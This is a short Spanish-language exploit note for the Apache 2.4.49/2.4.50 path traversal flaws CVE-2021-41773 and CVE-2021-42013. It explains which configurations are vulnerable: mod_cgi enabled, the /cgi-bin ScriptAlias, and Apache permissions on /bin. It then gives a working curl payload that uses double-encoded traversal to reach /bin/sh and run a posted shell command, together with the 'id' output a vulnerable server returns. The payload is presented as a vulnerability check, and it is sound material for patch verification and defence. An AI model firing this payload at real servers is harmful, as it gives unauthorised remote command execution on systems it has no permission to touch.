CVE-2021-41773

Exploit de RCE tanto para Apache 2.4.49 (CVE-2021-41773) como para 2.4.50 (CVE-2021-42013):

En mi humilde opinión, solo las configuraciones "especiales" serán vulnerables a este RCE.
Lo mismo ocurre con los exploits de "lectura arbitraria de archivos" que has visto.

Ambos CVE son en realidad casi la misma vulnerabilidad de path traversal (el segundo es la corrección incompleta del primero).
El path traversal solo funciona desde una URI mapeada (p. ej., mediante las directivas "Alias" o "ScriptAlias" de Apache). Solo DocumentRoot no es suficiente.

"/cgi-bin/" está mapeado por defecto (ScriptAlias), por eso se usa antes de la cadena de path traversal.
Además, ScriptAlias marca como Exec (para Apache) todo el contenido del directorio dado (independientemente de las extensiones de archivo).

Requisitos:

1/ mod_cgi habilitado (no viene por defecto, pero es fácil)
2/ el binario objetivo debe ser +x (por defecto para /bin/sh)
3/ permisos de Apache concedidos para /bin o / (no viene por defecto y es difícil/irreal)\

Comprobar si el servidor es vulnerable:

curl 'http://IPADDR/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type: text/plain; echo; id'

Respuesta de un servidor vulnerable:

uid=1(daemon) gid=1(daemon) groups=1(daemon)